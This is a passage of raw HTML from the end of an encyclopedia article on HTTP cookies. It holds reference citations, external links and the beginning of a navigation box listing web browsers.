title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.atitle=Fielding+Dissertation%3A+CHAPTER+6%3A+Experience+and+Evaluation&rft.date=2000&rft.aulast=Fielding&rft.aufirst=Roy&rft_id=http%3A%2F%2Froy.gbiv.com%2Fpubs%2Fdissertation%2Fevaluation.htm&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-gdVMy-99"><span class="mw-cite-backlink"><b><a href="#cite_ref-gdVMy_99-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFTilkov2008" class="citation web cs1">Tilkov, Stefan (2 July 2008). <a rel="nofollow" class="external text" href="http://www.infoq.com/articles/rest-anti-patterns">"REST Anti-Patterns"</a>. InfoQ. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20081223151145/http://www.infoq.com/articles/rest-anti-patterns">Archived</a> from the original on 23 December 2008<span class="reference-accessdate">. Retrieved <span class="nowrap">4 January</span> 2009</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=unknown&rft.btitle=REST+Anti-Patterns&rft.pub=InfoQ&rft.date=2008-07-02&rft.aulast=Tilkov&rft.aufirst=Stefan&rft_id=http%3A%2F%2Fwww.infoq.com%2Farticles%2Frest-anti-patterns&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-sD3KB-100"><span class="mw-cite-backlink"><b><a href="#cite_ref-sD3KB_100-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFHoffman2016" class="citation web cs1">Hoffman, Chris (28 September 2016). <a rel="nofollow" class="external text" href="https://www.howtogeek.com/119458/htg-explains-whats-a-browser-cookie/">"What Is a Browser Cookie?"</a>. <i>How-To Geek</i><span class="reference-accessdate">. Retrieved <span class="nowrap">3 April</span> 2021</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=How-To+Geek&rft.atitle=What+Is+a+Browser+Cookie%3F&rft.date=2016-09-28&rft.aulast=Hoffman&rft.aufirst=Chris&rft_id=https%3A%2F%2Fwww.howtogeek.com%2F119458%2Fhtg-explains-whats-a-browser-cookie%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-7MnkN-101"><span class="mw-cite-backlink"><b><a href="#cite_ref-7MnkN_101-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://gemal.dk/browserspy/">"BrowserSpy"</a>. gemal.dk. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20080926162150/http://gemal.dk/browserspy/">Archived</a> from the original on 26 September 2008<span class="reference-accessdate">. Retrieved <span class="nowrap">28 January</span> 2010</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=unknown&rft.btitle=BrowserSpy&rft.pub=gemal.dk&rft_id=http%3A%2F%2Fgemal.dk%2Fbrowserspy%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-H8nQP-102"><span class="mw-cite-backlink"><b><a href="#cite_ref-H8nQP_102-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://mypage.direct.ca/s/schinke/defaultbehaviors/clientCapsExtra.html">"IE "default behaviors [sic]" browser information disclosure tests: clientCaps"</a>. Mypage.direct.ca. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20110605104414/http://mypage.direct.ca/s/schinke/defaultbehaviors/clientCapsExtra.html">Archived</a> from the original on 5 June 2011<span class="reference-accessdate">. Retrieved <span class="nowrap">28 January</span> 2010</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=unknown&rft.btitle=IE+%22default+behaviors+%5Bsic%26%2393%3B%22+browser+information+disclosure+tests%3A+clientCaps&rft.pub=Mypage.direct.ca&rft_id=http%3A%2F%2Fmypage.direct.ca%2Fs%2Fschinke%2Fdefaultbehaviors%2FclientCapsExtra.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-Ar32G-103"><span class="mw-cite-backlink"><b><a href="#cite_ref-Ar32G_103-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFEckersley2010" class="citation web cs1">Eckersley, Peter (17 May 2010). <a rel="nofollow" class="external text" href="https://web.archive.org/web/20141015220910/https://panopticlick.eff.org/browser-uniqueness.pdf">"How Unique Is Your Web Browser?"</a> <span class="cs1-format">(PDF)</span>. <i>eff.org</i>. Electronic Frontier Foundation. Archived from <a rel="nofollow" class="external text" href="https://panopticlick.eff.org/browser-uniqueness.pdf">the original</a> <span class="cs1-format">(PDF)</span> on 15 October 2014<span class="reference-accessdate">. Retrieved <span class="nowrap">23 July</span> 2014</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=eff.org&rft.atitle=How+Unique+Is+Your+Web+Browser%3F&rft.date=2010-05-17&rft.aulast=Eckersley&rft.aufirst=Peter&rft_id=https%3A%2F%2Fpanopticlick.eff.org%2Fbrowser-uniqueness.pdf&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-7Tuzm-104"><span class="mw-cite-backlink"><b><a href="#cite_ref-7Tuzm_104-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage">"Window.sessionStorage, Web APIs | MDN"</a>. <i>developer.mozilla.org</i>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20150928223602/https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage">Archived</a> from the original on 28 September 2015<span class="reference-accessdate">. Retrieved <span class="nowrap">2 October</span> 2015</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=developer.mozilla.org&rft.atitle=Window.sessionStorage%2C+Web+APIs+%7C+MDN&rft_id=https%3A%2F%2Fdeveloper.mozilla.org%2Fen-US%2Fdocs%2FWeb%2FAPI%2FWindow%2FsessionStorage&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-dttaK-105"><span class="mw-cite-backlink"><b><a href="#cite_ref-dttaK_105-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://msdn.microsoft.com/en-us/library/ms533007%28v=vs.85%29.aspx">"Introduction to Persistence"</a>. <i>microsoft.com</i>. Microsoft. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20150111024715/http://msdn.microsoft.com/en-us/library/ms533007(v=vs.85).aspx">Archived</a> from the original on 11 January 2015<span class="reference-accessdate">. Retrieved <span class="nowrap">9 October</span> 2014</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=microsoft.com&rft.atitle=Introduction+to+Persistence&rft_id=http%3A%2F%2Fmsdn.microsoft.com%2Fen-us%2Flibrary%2Fms533007%2528v%3Dvs.85%2529.aspx&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-7LUgp-106"><span class="mw-cite-backlink"><b><a href="#cite_ref-7LUgp_106-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://msdn.microsoft.com/en-us/library/bdts8hk0%28v=vs.95%29.aspx">"Isolated Storage"</a>. <i>Microsoft.com</i>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20141216133258/http://msdn.microsoft.com/en-us/library/bdts8hk0(v=vs.95).aspx">Archived</a> from the original on 16 December 2014<span class="reference-accessdate">. Retrieved <span class="nowrap">9 October</span> 2014</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Microsoft.com&rft.atitle=Isolated+Storage&rft_id=http%3A%2F%2Fmsdn.microsoft.com%2Fen-us%2Flibrary%2Fbdts8hk0%2528v%3Dvs.95%2529.aspx&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> </ol></div></div> <div class="mw-heading mw-heading2"><h2 id="Sources">Sources</h2></div> <ul><li>Anonymous, 2011. Cookiejacking Attack Steals Website Access Credentials. Informationweek - Online, pp. Informationweek - Online, May 26, 2011.</li></ul> <div class="mw-heading mw-heading2"><h2 id="External_links">External links</h2></div> <style data-mw-deduplicate="TemplateStyles:r1235611614">.mw-parser-output .spoken-wikipedia{border:1px solid #a2a9b1;background-color:var(--background-color-interactive-subtle,#f8f9fa);margin:0.5em 0;padding:0.2em;line-height:1.5em;font-size:90%}.mw-parser-output .spoken-wikipedia-header{text-align:center}.mw-parser-output .spoken-wikipedia-listen-to{font-weight:bold}.mw-parser-output .spoken-wikipedia-files{text-align:center;margin-top:10px;margin-bottom:0.4em}.mw-parser-output .spoken-wikipedia-icon{float:left;margin-left:5px;margin-top:10px}.mw-parser-output .spoken-wikipedia-disclaimer{margin-left:60px;margin-top:10px;font-size:95%;line-height:1.4em}.mw-parser-output .spoken-wikipedia-footer{margin-top:10px;text-align:center}@media(min-width:720px){.mw-parser-output .spoken-wikipedia{width:20em;float:right;clear:right;margin-left:1em}}</style><div class="spoken-wikipedia noprint haudio"><div class="spoken-wikipedia-header"><span class="spoken-wikipedia-listen-to">Listen to this article</span> (<span class="duration"><span class="h">1</span> hour and <span class="min">1</span> minute</span>)</div><div class="spoken-wikipedia-files"><figure class="mw-halign-center" typeof="mw:File"><span><audio id="mwe_player_0" controls="" preload="none" data-mw-tmh="" class="mw-file-element" width="200" style="width:200px;" data-durationhint="3631" data-mwtitle="HTTP_cookie.ogg" data-mwprovider="wikimediacommons"><source src="//upload.wikimedia.org/wikipedia/commons/1/1e/HTTP_cookie.ogg" type="audio/ogg; codecs="vorbis"" data-width="0" data-height="0" /><source src="//upload.wikimedia.org/wikipedia/commons/transcoded/1/1e/HTTP_cookie.ogg/HTTP_cookie.ogg.mp3" type="audio/mpeg" data-transcodekey="mp3" data-width="0" data-height="0" /></audio></span><figcaption></figcaption></figure> </div><div class="spoken-wikipedia-icon"><span typeof="mw:File"><span title="Spoken Wikipedia"><img alt="Spoken Wikipedia icon" src="//upload.wikimedia.org/wikipedia/commons/thumb/4/47/Sound-icon.svg/45px-Sound-icon.svg.png" decoding="async" width="45" height="34" class="mw-file-element" srcset="//upload.wikimedia.org/wikipedia/commons/thumb/4/47/Sound-icon.svg/68px-Sound-icon.svg.png 1.5x, //upload.wikimedia.org/wikipedia/commons/thumb/4/47/Sound-icon.svg/90px-Sound-icon.svg.png 2x" data-file-width="128" data-file-height="96" /></span></span></div><div class="spoken-wikipedia-disclaimer"><a href="/wiki/File:HTTP_cookie.ogg" title="File:HTTP cookie.ogg">This audio file</a> was created from a revision of this article dated 28 May 2016<span style="display:none"> (<span class="bday dtstart published updated itvstart">2016-05-28</span>)</span>, and does not reflect subsequent edits.</div><div class="spoken-wikipedia-footer">(<a href="/wiki/Wikipedia:Media_help" class="mw-redirect" title="Wikipedia:Media help">Audio help</a> · <a href="/wiki/Wikipedia:Spoken_articles" title="Wikipedia:Spoken articles">More spoken articles</a>)</div></div> <style data-mw-deduplicate="TemplateStyles:r1235681985">.mw-parser-output .side-box{margin:4px 0;box-sizing:border-box;border:1px solid #aaa;font-size:88%;line-height:1.25em;background-color:var(--background-color-interactive-subtle,#f8f9fa);display:flow-root}.mw-parser-output .side-box-abovebelow,.mw-parser-output .side-box-text{padding:0.25em 0.9em}.mw-parser-output .side-box-image{padding:2px 0 2px 0.9em;text-align:center}.mw-parser-output .side-box-imageright{padding:2px 0.9em 2px 0;text-align:center}@media(min-width:500px){.mw-parser-output .side-box-flex{display:flex;align-items:center}.mw-parser-output .side-box-text{flex:1;min-width:0}}@media(min-width:720px){.mw-parser-output .side-box{width:238px}.mw-parser-output .side-box-right{clear:right;float:right;margin-left:1em}.mw-parser-output .side-box-left{margin-right:1em}}</style><style data-mw-deduplicate="TemplateStyles:r1237033735">@media print{body.ns-0 .mw-parser-output .sistersitebox{display:none!important}}@media screen{html.skin-theme-clientpref-night .mw-parser-output .sistersitebox img[src*="Wiktionary-logo-en-v2.svg"]{background-color:white}}@media screen and (prefers-color-scheme:dark){html.skin-theme-clientpref-os .mw-parser-output .sistersitebox img[src*="Wiktionary-logo-en-v2.svg"]{background-color:white}}</style><div class="side-box side-box-right plainlinks sistersitebox"><style data-mw-deduplicate="TemplateStyles:r1126788409">.mw-parser-output .plainlist ol,.mw-parser-output .plainlist ul{line-height:inherit;list-style:none;margin:0;padding:0}.mw-parser-output .plainlist ol li,.mw-parser-output .plainlist ul li{margin-bottom:0}</style> <div class="side-box-flex"> <div class="side-box-image"><span class="noviewer" typeof="mw:File"><span><img alt="" src="//upload.wikimedia.org/wikipedia/en/thumb/4/4a/Commons-logo.svg/30px-Commons-logo.svg.png" decoding="async" width="30" height="40" class="mw-file-element" srcset="//upload.wikimedia.org/wikipedia/en/thumb/4/4a/Commons-logo.svg/45px-Commons-logo.svg.png 1.5x, //upload.wikimedia.org/wikipedia/en/thumb/4/4a/Commons-logo.svg/59px-Commons-logo.svg.png 2x" data-file-width="1024" data-file-height="1376" /></span></span></div> <div class="side-box-text plainlist">Wikimedia Commons has media related to <span style="font-weight: bold; font-style: italic;"><a href="https://commons.wikimedia.org/wiki/Category:HTTP_cookies" class="extiw" title="commons:Category:HTTP cookies">HTTP cookies</a></span>.</div></div> </div> <ul><li><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222">RFC <a rel="nofollow" class="external text" href="https://datatracker.ietf.org/doc/html/rfc6265">6265</a>, the current official specification for HTTP cookies</li> <li><a rel="nofollow" class="external text" href="https://developer.mozilla.org/en-US/docs/Web_Development/HTTP_cookies">HTTP cookies</a>, Mozilla Developer Network</li> <li><a rel="nofollow" class="external text" href="https://developer.mozilla.org/en-US/docs/DOM/document.cookie">Using cookies via ECMAScript</a>, Mozilla Developer Network</li> <li><a rel="nofollow" class="external text" href="http://www.howstuffworks.com/cookie.htm">How Internet Cookies Work</a> at <a href="/wiki/HowStuffWorks" title="HowStuffWorks">HowStuffWorks</a></li> <li><a rel="nofollow" class="external text" href="https://www.epic.org/privacy/internet/cookies/">Cookies</a> at the Electronic Privacy Information Center (EPIC)</li> <li><a rel="nofollow" class="external text" href="https://support.mozilla.org/en-US/kb/cookies-information-websites-store-on-your-computer">Mozilla Knowledge-Base: Cookies</a></li> <li><a rel="nofollow" class="external text" href="http://bayou.io/draft/cookie.domain.html">Cookie Domain, explain in detail how cookie domains are handled in current major browsers</a></li> <li><a rel="nofollow" class="external text" href="https://www.youtube.com/watch?v=T1QEs3mdJoc">Cookie Stealing</a> - <a href="/wiki/Michael_Pound" title="Michael Pound">Michael Pound</a></li> <li><a rel="nofollow" class="external text" href="https://2gdpr.com/">Check cookies for compliance with EU cookie directive</a></li></ul> <div class="navbox-styles"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1129693374"><style data-mw-deduplicate="TemplateStyles:r1236075235">.mw-parser-output .navbox{box-sizing:border-box;border:1px solid #a2a9b1;width:100%;clear:both;font-size:88%;text-align:center;padding:1px;margin:1em auto 0}.mw-parser-output .navbox .navbox{margin-top:0}.mw-parser-output .navbox+.navbox,.mw-parser-output .navbox+.navbox-styles+.navbox{margin-top:-1px}.mw-parser-output .navbox-inner,.mw-parser-output .navbox-subgroup{width:100%}.mw-parser-output .navbox-group,.mw-parser-output .navbox-title,.mw-parser-output .navbox-abovebelow{padding:0.25em 1em;line-height:1.5em;text-align:center}.mw-parser-output .navbox-group{white-space:nowrap;text-align:right}.mw-parser-output .navbox,.mw-parser-output .navbox-subgroup{background-color:#fdfdfd}.mw-parser-output .navbox-list{line-height:1.5em;border-color:#fdfdfd}.mw-parser-output .navbox-list-with-group{text-align:left;border-left-width:2px;border-left-style:solid}.mw-parser-output tr+tr>.navbox-abovebelow,.mw-parser-output tr+tr>.navbox-group,.mw-parser-output tr+tr>.navbox-image,.mw-parser-output tr+tr>.navbox-list{border-top:2px solid #fdfdfd}.mw-parser-output .navbox-title{background-color:#ccf}.mw-parser-output .navbox-abovebelow,.mw-parser-output .navbox-group,.mw-parser-output .navbox-subgroup .navbox-title{background-color:#ddf}.mw-parser-output .navbox-subgroup .navbox-group,.mw-parser-output .navbox-subgroup .navbox-abovebelow{background-color:#e6e6ff}.mw-parser-output .navbox-even{background-color:#f7f7f7}.mw-parser-output .navbox-odd{background-color:transparent}.mw-parser-output .navbox .hlist td dl,.mw-parser-output .navbox .hlist td ol,.mw-parser-output .navbox .hlist td ul,.mw-parser-output .navbox td.hlist dl,.mw-parser-output .navbox td.hlist ol,.mw-parser-output .navbox td.hlist ul{padding:0.125em 0}.mw-parser-output .navbox .navbar{display:block;font-size:100%}.mw-parser-output .navbox-title .navbar{float:left;text-align:left;margin-right:0.5em}body.skin--responsive .mw-parser-output .navbox-image img{max-width:none!important}@media print{body.ns-0 .mw-parser-output .navbox{display:none!important}}</style></div><div role="navigation" class="navbox" aria-labelledby="Web_browsers" style="padding:3px"><table class="nowraplinks hlist mw-collapsible autocollapse navbox-inner" style="border-spacing:0;background:transparent;color:inherit"><tbody><tr><th scope="col" class="navbox-title" colspan="2"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1129693374"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1239400231"><div class="navbar plainlinks hlist navbar-mini"><ul><li class="nv-view"><a href="/wiki/Template:Web_browsers" title="Template:Web browsers"><abbr title="View this template">v</abbr></a></li><li class="nv-talk"><a href="/wiki/Template_talk:Web_browsers" title="Template talk:Web browsers"><abbr title="Discuss this template">t</abbr></a></li><li class="nv-edit"><a href="/wiki/Special:EditPage/Template:Web_browsers" title="Special:EditPage/Template:Web browsers"><abbr title="Edit this template">e</abbr></a></li></ul></div><div id="Web_browsers" style="font-size:114%;margin:0 4em"><a href="/wiki/Web_browser" title="Web browser">Web browsers</a></div></th></tr><tr><td colspan="2" class="navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"></div><table class="nowraplinks mw-collapsible uncollapsed navbox-subgroup" style="border-spacing:0"><tbody><tr><th scope="col" class="navbox-title" colspan="2"><div id="*_Features_*_standards_*_protocols" style="font-size:114%;margin:0 4em"> <ul><li>Features</li> <li>standards</li> <li>protocols</li></ul> </div></th></tr><tr><td colspan="2" class="navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"></div><table class="nowraplinks navbox-subgroup" style="border-spacing:0"><tbody><tr><th scope="row" class="navbox-group" style="width:1%">Features</th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Bookmark_(digital)" title="Bookmark (digital)">Bookmarks</a></li> <li><a href="/wiki/Browser_extension" title="Browser extension">Extensions</a></li> <li><a href="/wiki/Private_browsing" title="Private browsing">Privacy mode</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%"><a href="/wiki/Web_standards" title="Web standards">Web standards</a></th><td class="navbox-list-with-group navbox-list navbox-even" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/HTML" title="HTML">HTML</a> <ul><li><a href="/wiki/HTML5" title="HTML5">v5</a></li></ul></li> <li><a href="/wiki/CSS" title="CSS">CSS</a></li> <li><a href="/wiki/Document_Object_Model" title="Document Object Model">DOM</a></li> <li><a href="/wiki/JavaScript" title="JavaScript">JavaScript</a> <ul><li><a href="/wiki/WebAssembly" title="WebAssembly">WebAssembly</a></li> <li><a href="/wiki/Web_storage" title="Web storage">Web storage</a></li> <li><a href="/wiki/Indexed_Database_API" title="Indexed Database API">IndexedDB</a></li> <li><a href="/wiki/WebGL" title="WebGL">WebGL</a></li> <li><a href="/wiki/WebGPU" title="WebGPU">WebGPU</a></li></ul></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">Protocols</th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/HTTP" title="HTTP">HTTP</a> <ul><li><a href="/wiki/HTTPS" title="HTTPS">Encryption</a></li> <li><a class="mw-selflink selflink">Cookies</a> <ul><li><a href="/wiki/Third-party_cookies" title="Third-party cookies">third-party</a></li></ul></li></ul></li> <li><a href="/wiki/Online_Certificate_Status_Protocol" title="Online Certificate Status Protocol">OCSP</a></li> <li><a href="/wiki/WebRTC" title="WebRTC">WebRTC</a></li> <li><a href="/wiki/WebSocket" title="WebSocket">WebSocket</a></li></ul> </div></td></tr></tbody></table><div></div></td></tr></tbody></table><div></div></td></tr><tr><td colspan="2" class="navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"></div><table class="nowraplinks mw-collapsible mw-collapsed navbox-subgroup" style="border-spacing:0"><tbody><tr><th scope="col" class="navbox-title" colspan="2"><div id="Active" style="font-size:114%;margin:0 4em">Active</div></th></tr><tr><td colspan="2" class="navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"></div><table class="nowraplinks navbox-subgroup" style="border-spacing:0"><tbody><tr><th scope="row" class="navbox-group" style="width:1%"><a href="/wiki/Blink_(browser_engine)" title="Blink (browser engine)">Blink</a>-based</th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"></div><table class="nowraplinks navbox-subgroup" style="border-spacing:0"><tbody><tr><th scope="row" class="navbox-group" style="width:1%"><a href="/wiki/Proprietary_software" title="Proprietary software">Proprietary</a></th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Google_Chrome" title="Google Chrome">Google Chrome</a></li> <li><a href="/wiki/Arc_(web_browser)" title="Arc (web browser)">Arc</a></li> <li><a href="/wiki/Avast_Secure_Browser" title="Avast Secure Browser">Avast</a></li> <li><a href="/wiki/C%E1%BB%91c_C%E1%BB%91c" title="Cốc Cốc">Coc Coc</a></li> <li><a href="/wiki/Comodo_Dragon" title="Comodo Dragon">Comodo</a></li> <li><a href="/wiki/Epic_(web_browser)" title="Epic (web browser)">Epic</a></li> <li><a href="/wiki/Maxthon" title="Maxthon">Maxthon</a></li> <li><a href="/wiki/Microsoft_Edge" title="Microsoft Edge">Microsoft Edge</a></li> <li><a href="/wiki/Opera_(web_browser)" title="Opera (web browser)">Opera</a> (<a href="/wiki/Opera_Mobile" title="Opera Mobile">Mobile</a>)</li> <li><a href="/wiki/Puffin_Browser" title="Puffin Browser">Puffin </a></li> <li><a href="/wiki/QQ_Browser" title="QQ Browser">QQ</a></li> <li><a href="/wiki/Samsung_Internet" title="Samsung Internet">Samsung</a></li> <li><a href="/wiki/Amazon_Silk" title="Amazon Silk">Silk</a></li> <li><a href="/wiki/Sleipnir_(web_browser)" title="Sleipnir (web browser)">Sleipnir</a></li> <li><a href="/wiki/SRWare_Iron" title="SRWare Iron">SRWare</a></li> <li><a href="/wiki/UC_Browser" title="UC Browser">UC</a></li> <li><a href="/wiki/Vivaldi_(web_browser)" title="Vivaldi (web browser)">Vivaldi</a></li> <li><a href="/wiki/Naver_Whale" title="Naver Whale">Whale</a></li> <li><a href="/wiki/Yandex_Browser" title="Yandex Browser">Yandex</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%"><a href="/wiki/Free_and_Open_Source" class="mw-redirect" title="Free and Open Source">FOSS</a></th><td class="navbox-list-with-group navbox-list navbox-even" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Chromium_(web_browser)" title="Chromium (web browser)">Chromium</a></li> <li><a href="/wiki/Brave_(web_browser)" title="Brave (web browser)">Brave</a></li> <li><a href="/wiki/Dooble" title="Dooble">Dooble</a></li> <li><a href="/wiki/Falkon" title="Falkon">Falkon</a></li> <li><a href="/wiki/Otter_Browser" title="Otter Browser">Otter</a></li> <li><a href="/wiki/Supermium" title="Supermium">Supermium</a></li> <li><a href="/wiki/Ungoogled-chromium" title="Ungoogled-chromium">ungoogled</a></li></ul> </div></td></tr></tbody></table><div></div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%"><a href="/wiki/Gecko_(software)" title="Gecko (software)">Gecko</a>-based</th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Firefox" title="Firefox">Firefox</a></li> <li><a href="/wiki/Floorp" title="Floorp">Floorp</a></li> <li><a href="/wiki/GNU_IceCat" title="GNU IceCat">GNU IceCat</a></li> <li><a href="/wiki/LibreWolf" title="LibreWolf">LibreWolf</a></li> <li><a href="/wiki/Midori_(web_browser)" title="Midori (web browser)">Midori</a></li> <li><a href="/wiki/SlimBrowser" title="SlimBrowser">SlimBrowser</a></li> <li><a href="/wiki/Tor_Browser" class="mw-redirect" title="Tor Browser">Tor Browser</a></li> <li>Gecko <a href="/wiki/Fork_(software_development)" title="Fork (software development)">forks</a> <ul><li><a href="/wiki/Basilisk_(web_browser)" title="Basilisk (web browser)">Basilisk</a></li> <li><a href="/wiki/K-Meleon" title="K-Meleon">K-Meleon</a></li> <li><a href="/wiki/Pale_Moon" title="Pale Moon">Pale Moon</a></li> <li><a href="/wiki/SeaMonkey" title="SeaMonkey">SeaMonkey</a></li> <li><a href="/wiki/Waterfox" title="Waterfox">Waterfox</a></li></ul></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%"><a href="/wiki/WebKit" title="WebKit">WebKit</a>-based</th><td class="navbox-list-with-group navbox-list navbox-even" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Safari_(web_browser)" title="Safari (web browser)">Safari</a></li> <li><a href="/wiki/GNOME_Web" title="GNOME Web">GNOME Web</a></li> <li><a href="/wiki/ICab" title="ICab">iCab</a></li> <li><a href="/wiki/Kagi_(search_engine)#Orion_Browser" title="Kagi (search engine)">Orion</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">Multi-<a href="/wiki/Browser_engine" title="Browser engine">engine</a></th><td class="navbox-list-with-group navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/360_Secure_Browser" title="360 Secure Browser">360</a></li> <li><a href="/wiki/DuckDuckGo_Private_Browser" title="DuckDuckGo Private Browser">DuckDuckGo</a></li> <li><a href="/wiki/Konqueror" title="Konqueror">Konqueror</a></li> <li><a href="/wiki/Lunascape" title="Lunascape">Lunascape</a></li> <li><a href="/wiki/NetFront" title="NetFront">NetFront</a></li> <li><a href="/wiki/Qutebrowser" title="Qutebrowser">qutebrowser</a></li></ul> </div></td></tr><tr><th scope="row" class="navbox-group" style="width:1%">Other</th><td class="navbox-list-with-group navbox-list navbox-even" style="width:100%;padding:0"><div style="padding:0 0.25em"> <ul><li><a href="/wiki/Eww_(web_browser)" title="Eww (web browser)">eww</a></li> <li><a href="/wiki/Flow_(web_browser)" title="Flow (web browser)">Flow</a></li> <li><a href="/wiki/Ladybird_(web_browser)" title="Ladybird (web browser)">Ladybird</a></li> <li><a href="/wiki/Links_(web_browser)" title="Links (web browser)">Links</a></li> <li><a href="/wiki/Lynx_(web_browser)" title="Lynx (web browser)">Lynx</a></li> <li><a href="/wiki/NetSurf" title="NetSurf">NetSurf</a></li> <li><a href="/wiki/Opera_Mini" title="Opera Mini">Opera Mini</a></li> <li><a href="/wiki/W3m" title="W3m">w3m</a></li></ul> </div></td></tr></tbody></table><div></div></td></tr></tbody></table><div></div></td></tr><tr><td colspan="2" class="navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"></div><table class="nowraplinks mw-collapsible mw-collapsed navbox-subgroup" style="border-spacing:0"><tbody><tr><th scope="col" class="navbox-title" colspan="2"><div id="Discontinued" style="font-size:114%;margin:0 4em">Discontinued</div></th></tr><tr><td colspan="2" class="navbox-list navbox-odd" style="width:100%;padding:0"><div style="padding:0 0.25em"></div><table class="nowraplinks navbox-subgroup" style="border-spacing:0"><tbody><tr><th scope="row" class="navbox-group" style="width:1%"><a href="/wiki/Blink_(browser_engine)" title="Blink (browser engine)">Blink</a>-based</th><td class="navbox-list-with-group navbox-list navbox-odd" 